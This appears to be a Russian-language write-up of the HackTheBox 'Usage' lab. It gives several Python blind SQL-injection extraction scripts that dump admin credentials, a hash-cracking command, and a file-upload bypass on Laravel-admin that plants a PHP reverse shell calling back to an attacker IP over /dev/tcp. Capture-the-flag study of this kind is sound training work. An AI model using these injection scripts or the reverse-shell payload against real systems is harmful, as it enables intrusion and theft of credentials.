> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-easy/usage-hackthebox-writeup.md).

# Разбор HackTheBox Usage

Разбор Easy Linux-машины HackTheBox Usage, охватывающий перечисление поддоменов, SQLI - слепая инъекция на основе булевых условий (ВРУЧНУЮ) + советы по BurpSuite, Python-скриптинг для эксплуатации SQLI, взлом хэшей,

{% embed url="<https://app.hackthebox.com/machines/597>" %}

{% hint style="warning" %}
Навыки:

* Перечисление поддоменов
* SQLI — слепая инъекция на основе булевых значений (ВРУЧНУЮ) + советы по Burp Suite
* Скриптинг на Python для эксплуатации SQLI
* Взлом хэшей
* Эксплуатация Laravel-admin (RCE через злоупотребление загрузкой файлов)
* Анализ бинарного файла (GHIDRA)
* Злоупотребление привилегией Sudoers + пользовательский бинарный файл для получения закрытого SSH-ключа root (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-15b21c0450116e3e0269d78dc5df968bd2c0246d%2Fimage%20(1134).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения к VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5d367809a029cbb14a854d7c3055add6113ce93%2Fimage%20(1135).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -vvv -Pn --min-rate 5000 10.10.11.18 -oG allPorts
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a27e4986b68ae59a0ab8255cfd0d36d6ce28c9f9%2F%7BD21E61C5-F575-4833-8519-56ADE5732D9A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с extractPorts:**

Используйте функцию extractPorts, чтобы отобразить открытые порты в кратком формате и скопировать их в буфер обмена (21,22,80)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-890bf92cb3870eb06b529cf1e74e1fac947df8ab%2F%7BAF5F5CA2-EFBC-4F7E-A43F-98F59F4A2246%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Сканирование версий портов с помощью Nmap:

Используйте Nmap для сканирования версий служб и сохраните вывод в файл "targeted":

```bash
nmap -sCV -p22,80 10.10.11.18 -oN targeted
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-406f50f398811c1e7aedd3506542c4395f547e67%2F%7B0205AB49-C643-4D67-99F8-4935FDF6BA35%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Чтобы преобразовать доменные имена в IP-адреса через DNS, мы вставляем доменное имя, связанное с его IP-адресом, в `/etc/hosts` файл:

### Порт 80:

На порту 80 мы создадим учетную запись пользователя с вымышленным адресом электронной почты "`test@test.com`" в разделе регистрации.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9e0712de8f3c6c9fc39cbfb05d73fc6726d7232c%2F%7BB0B7A0B7-F05B-4487-A90F-D1E9B6E553CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Уязвимость [SQLI](/ru/web/sql-injection.md):

Мы обнаруживаем панель сброса пароля, уязвимую к SQL-инъекции

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b53c33525c6d3d9a8bd94be4bab7925b3a9cd30d%2F%7B26044F45-FC1F-48DD-8002-77C0FB269074%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

. Перехватывая запросы с помощью Burp Suite, мы получаем сообщение "*Мы отправили вам пароль по электронной почте*".

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3177094706bec286c9aba357b48ef1da55956fc7%2Fimage%20(1136).png?alt=media" alt=""><figcaption></figcaption></figure>

Когда мы пытаемся выполнить базовую SQL-инъекцию, она срабатывает, и мы снова получаем то же сообщение об ошибке, подтверждая, что инъекция работает. Пример базовой инъекции:

`iojfeifif' or 1=1-- -`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9a340e1c72e0e66ba6f618de26df0a5e25843973%2F%7B4391472C-0C07-42D1-B767-8A1511387D49%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Условные ответы SQLi:

> Хотя результаты SQL-запроса не возвращаются и сообщения об ошибках не появляются, приложение отображает на странице сообщение "Мы отправили вам пароль по электронной почте", если запрос возвращает какие-либо строки.

Мы проверяем это предположение, используя `substring` функцию, чтобы извлечь первые буквы имени базы данных.

Примеры инъекций:

* Проверьте первую букву имени базы данных:/ `dwwdw' or substring(database(),1,1)='u'-- -`
* Проверьте вторую букву имени базы данных:/ `dwwdw' or substring(database(),2,1)='s'-- -`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b266008d7400500d063c1836e082ac5d316ce1c5%2Fimage%20(1137).png?alt=media" alt=""><figcaption></figcaption></figure>

### Перечисление имени базы данных:

Мы автоматизируем процесс определения имени базы данных с помощью Python-скрипта, который отправляет запросы с определёнными полезными нагрузками и извлекает результаты, когда сервер отображает ответ "Мы отправили вам пароль по электронной почте".

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов завершения
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше специальных символов по мере необходимости)
characters = string.ascii_letters + string.digits + "-/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начинаем SQL-инъекцию...")
    time.sleep(2)

    p2 = log.progress("Извлечённые данные")

    for position in range(1, 20):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring(database(),{position},1)='{character}'-- -"
            }
            
            # Отправьте POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показывайте тестируемый символ в реальном времени
            p1.status(f"Тестируем позицию {position}: {character}")

            # Проверяйте наличие специфического ответа сервера для подтверждения правильного символа
            if "Мы отправили вам пароль по электронной почте" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции был найден символ, переходите к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Грубый перебор SQL-инъекции завершён")
    p2.success(f"Извлечённые данные: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b6ca818cd5433035797610c91e599561dd966de%2Fimage%20(1138).png?alt=media" alt="" width="440"><figcaption></figcaption></figure>

### Перечисление баз данных:

Мы изменяем полезную нагрузку, чтобы перечислить все базы данных, присутствующие на сервере. Мы используем `group_concat` функцию `information_schema.schemata` базы данных, чтобы получить все доступные базы данных. Этот шаг позволяет обнаружить все имеющиеся базы данных.

{% code overflow="wrap" fullWidth="false" %}

```sql
' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов завершения
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше специальных символов по мере необходимости)
characters = string.ascii_letters + string.digits + "-,/;.$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начинаем SQL-инъекцию...")
    time.sleep(2)

    p2 = log.progress("Извлечённые данные")

    for position in range(1, 100):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s" % (position, character)

            }
            
            # Отправьте POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показывайте тестируемый символ в реальном времени
            p1.status(f"Тестируем позицию {position}: {character}")

            # Проверяйте наличие специфического ответа сервера для подтверждения правильного символа
            if "Мы отправили вам пароль по электронной почте" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции был найден символ, переходите к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Грубый перебор SQL-инъекции завершён")
    p2.success(f"Извлечённые данные: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2db74325ff348b02756fbb13a1560f9acbdb994%2F%7B0924BE89-8289-43C8-B1E6-365D9CEB6985%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Список таблиц в `usage_blog` база данных:

После нахождения `usage_blog` базы данных мы снова изменяем полезную нагрузку, чтобы перечислить таблицы в этой базе данных. Мы используем `group_concat` функцию, чтобы получить имена всех таблиц в `usage_blog` базе данных.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов завершения
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше специальных символов по мере необходимости)
characters = string.ascii_letters + string.digits + "-,/.;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начинаем SQL-инъекцию...")
    time.sleep(2)

    p2 = log.progress("Извлечённые данные")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(table_name) from information_schema.tables where table_schema='usage_blog'),%d,1)='%s" % (position, character) 

            }
            
            # Отправьте POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показывайте тестируемый символ в реальном времени
            p1.status(f"Тестируем позицию {position}: {character}")

            # Проверяйте наличие специфического ответа сервера для подтверждения правильного символа
            if "Мы отправили вам пароль по электронной почте" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции был найден символ, переходите к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Грубый перебор SQL-инъекции завершён")
    p2.success(f"Извлечённые данные: {data}")

if __name__ == '__main__':
    sqli()
```

<div data-full-width="true"><figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b46a64c7b718776df73e9983c1a7a958afa04182%2Fimage%20(1139).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Перечисление столбцов таблицы `admin_users` таблице:

После идентификации таблиц мы нацеливаемся на таблицу `admin_users` чтобы перечислить её столбцы. Мы снова используем `group_concat` функцию, чтобы получить имена столбцов этой конкретной таблицы.

{% code overflow="wrap" %}

```sql
' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1
)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов завершения
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше специальных символов по мере необходимости)
characters = string.ascii_letters + string.digits + "-,/;$._@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начинаем SQL-инъекцию...")
    time.sleep(2)

    p2 = log.progress("Извлечённые данные")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat(column_name) from information_schema.columns where table_schema='usage_blog' and table_name='admin_users'),%d,1)='%s" % (position, character) 

            }
            
            # Отправьте POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показывайте тестируемый символ в реальном времени
            p1.status(f"Тестируем позицию {position}: {character}")

            # Проверяйте наличие специфического ответа сервера для подтверждения правильного символа
            if "Мы отправили вам пароль по электронной почте" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции был найден символ, переходите к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Грубый перебор SQL-инъекции завершён")
    p2.success(f"Извлечённые данные: {data}")

if __name__ == '__main__':
    sqli()
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6acac067804c8bbf592d3eeb554149f0c5cd3dca%2F%7BD9220E36-AABF-4AC0-9878-A581F4B69EED%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Отображение `имя пользователя` и `пароль`:

Чтобы отобразить идентификаторы пользователей и пароли в `admin_users` таблице, SQL-запрос будет изменён, чтобы объединить `имя пользователя` и `пароль` поля

{% code overflow="wrap" %}

```sql
' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)
```

{% endcode %}

```python
#!/usr/bin/python3
from pwn import *
import requests, signal, sys, time, string

# Обработка сигналов завершения
def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

# Ctrl + C для выхода
signal.signal(signal.SIGINT, def_handler)

# Расширенный набор символов (добавляйте больше специальных символов по мере необходимости)
characters = string.ascii_letters + string.digits + "-:.,/;$_@#~%&*"

main_url = "http://usage.htb/forget-password"

def sqli():
    headers = {
        'Cookie': 'XSRF-TOKEN=eyJpdiI6IllwUVNJUldmNzc1MWU3Tkl6ZzZxZnc9PSIsInZhbHVlIjoieXh5SmFmZTZTYVJFM2dUUnU5UjVLejZ6MmlNWWIwMnVrYzNRVGtNd09yRDNwUjVxSU9zU0xhL0Ruc3RvL29zU3JWN2pNZVBVYkVTUVJDOTBPNXpxYjhQd2loRzJvbURYWVZPS0Q3QUFUc2EwRjk2amNvcG9SQUo0YjlhYXB2SHUiLCJtYWMiOiI0NTgxMzA2YjljOWEwZDI3NTc2NzQwNzk3MGM2MDgyOWRkNWUxZWFkNGU3NWMyMzM4OWVjNTY0MmY4YWE4MmRiIiwidGFnIjoiIn0%3D; '
                  'laravel_session=eyJpdiI6ImYxM2FTbFU2U2pBMUJyUVpqeldreWc9PSIsInZhbHVlIjoiS1hrc3JWRzI0ajhFYjYyQzIrV3hUMzU1M2ptbkIwVzUzQSs3RkdrcGU2bUl0WUlpTHkvWnpmM1IvZWdxMmFrYWw5SWVPNlNNaExMTU5Gd0xKb202bzh0dm9UWVpuKzB4OXBlZmVabmN3NzJTN21xNjJ0ejA0TkV4VHhrdjFkZXYiLCJtYWMiOiIyMzVmYjZlNzAxMjY0ZDUwMzQ5N2ZiZjMxMzcyZDNhNWM3ODFjNTgyNjU5ZDBiNDdlYzQ0MWMxNDkwMDM0ZTc1IiwidGFnIjoiIn0%3D'
    }

    data = ""
    p1 = log.progress("SQL-инъекция")
    p1.status("Начинаем SQL-инъекцию...")
    time.sleep(2)

    p2 = log.progress("Извлечённые данные")

    for position in range(1, 1000):
        found_character = False
        for character in characters:
            payload = {
                "_token": "WwUBzPP0uBH7oSGEGsKholwbP8UZKpSd3u1taSuY",
                "email": f"dwwdwdwwdw' or substring((select group_concat((BINARY username), ':', (BINARY password)) from admin_users),%d,1)='%s" % (position, character)

            }
            
            # Отправьте POST-запрос с полезной нагрузкой
            r = requests.post(main_url, headers=headers, data=payload)

            # Показывайте тестируемый символ в реальном времени
            p1.status(f"Тестируем позицию {position}: {character}")

            # Проверяйте наличие специфического ответа сервера для подтверждения правильного символа
            if "Мы отправили вам пароль по электронной почте" in r.text:
                data += character
                p2.status(data)
                found_character = True
                break

        # Если для этой позиции был найден символ, переходите к следующей позиции
        if found_character:
            p1.status(f"Позиция {position} найдена: {data[-1]}")
        else:
            p1.status(f"Позиция {position}: символ не найден")

    p1.success("Грубый перебор SQL-инъекции завершён")
    p2.success(f"Извлечённые данные: {data}")

if __name__ == '__main__':
    sqli()
```

`admin:$2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9939cc0c88478d003f71c003e8c56c78c274f6b2%2F%7B8CE976F0-7703-4875-8A74-A1BDB5EB3AEF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

### Взлом пароля с помощью John:

После получения хеша пароля вы можете использовать **John** чтобы взломать его с помощью словаря, например **rockyou.txt**:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`admin:whatever1`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7e86fd66b218596058217bcfab80e3b68dbe182%2Fimage%20(1140).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Панель администратора:

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be96acbb0454d8463671781f3aff1bd83c78a989%2F%7B3EE46AEE-53ED-4C4E-8C0B-2B9B26762027%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

После того как учетные данные найдены, можно подключиться к панели администратора, изменив `/etc/hosts` файл, чтобы добавить `admin.usage.htb` запись.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c61b188da2b136077a2f374a710fc676ddec8bcd%2F%7B89C865F0-B2DF-4986-B392-D99CEAB9DF7A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

## Уязвимость загрузки файлов (Laravel-admin)

В приложении Laravel-admin есть раздел, позволяющий загрузить аватар. Эксплуатируя эту функцию, мы можем отправить вредоносный файл, чтобы получить несанкционированный доступ к серверу.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d42a8da4e99e20f192f6c80a01e8aa491ca1b1ba%2Fimage%20(1110).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Шаги выполнения:**

1. **Перехват и модификация файла аватара**:
   * Перехватите запрос с помощью Burp Suite.
   * Измените значение `filename` переменной, чтобы добавить расширение PHP после поддельного файла изображения, например: `hack.jpg.php`.

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-453809b98f33be8a8611ab63b1667393f6df50d8%2Fimage%20(1115).png?alt=media" alt=""><figcaption></figcaption></figure>

* Содержимое файла должно быть обратной оболочкой, например:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8d2a43d8774f237ae69e5eded925060fddcc7aba%2Fimage%20(1114).png?alt=media" alt=""><figcaption></figcaption></figure>

**Прослушивание с помощью Netcat**:

* Начните прослушивание порта 443 с помощью Netcat:

```bash
nc -nlvp 443 
```

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f70ebe6c8a42e241ed7ab3a9e52c595ef5c63357%2Fimage%20(1116).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Выполните следующие команды, чтобы сделать сеанс оболочки более интерактивным:

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### Флаг user.txt :)

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d72ebb3c4cb66f4c704a7fd724dffa6786213602%2Fimage%20(1117).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Повышение привилегий:

### Утечка информации

В каталоге пользователя `dash`, файл `.monitrc` доступен и содержит конфиденциальную информацию

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70026945372145d7ad057e6bc5adfca46eeb302a%2Fimage%20(1118).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`admin:3nc0d3d_pa$$w0rd`

<figure><img src="https://4248209978-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d85d8ca43d518a9d035a8b2f4d64aa40372104%2Fimage%20(1119).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Этот пароль соответствует пользователю `XANDER`.

